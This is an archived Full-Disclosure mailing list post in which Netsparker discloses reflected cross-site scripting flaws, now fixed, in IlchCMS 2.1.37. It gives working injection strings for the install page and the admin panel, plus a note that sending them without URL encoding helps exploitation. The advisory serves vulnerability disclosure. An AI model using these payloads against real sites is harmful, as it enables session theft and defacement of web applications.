lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 10 Sep 2020 12:06:11 +0200
From: Daniel Bishtawi via Fulldisclosure <>
Subject: [FD] Cross-Site Scripting Vulnerabilities in IlchCMS 2.1.37


We are informing you about Cross-Site Scripting Vulnerabilities in IlchCMS


Advisory by Netsparker
Name: Cross-Site Scripting in IlchCMS
Affected Software: IlchCMS
Affected Versions: 2.1.37
Vendor Homepage:
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-003

Technical Details

Cross-site Scripting in Install Page

Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: x%22+onmouseover%3dnetsparker(0x003370)+x%3d%22

Cross-site Scripting in Admin Panel


Notes: For successful exploitation, payload may need to be sent without URL
encoding. Modern browsers will encode the HTML tags in the request before
it is being sent to the webserver, however it is still possible in Internet
Proof URL:'"--></style></scRipt><scRipt>alert(0x0096E8)</scRipt>

Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x0096E8)</scRipt>

For more information:


[image: upload image]
Daniel Bishtawi | Marketing Administrator
E: <>

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists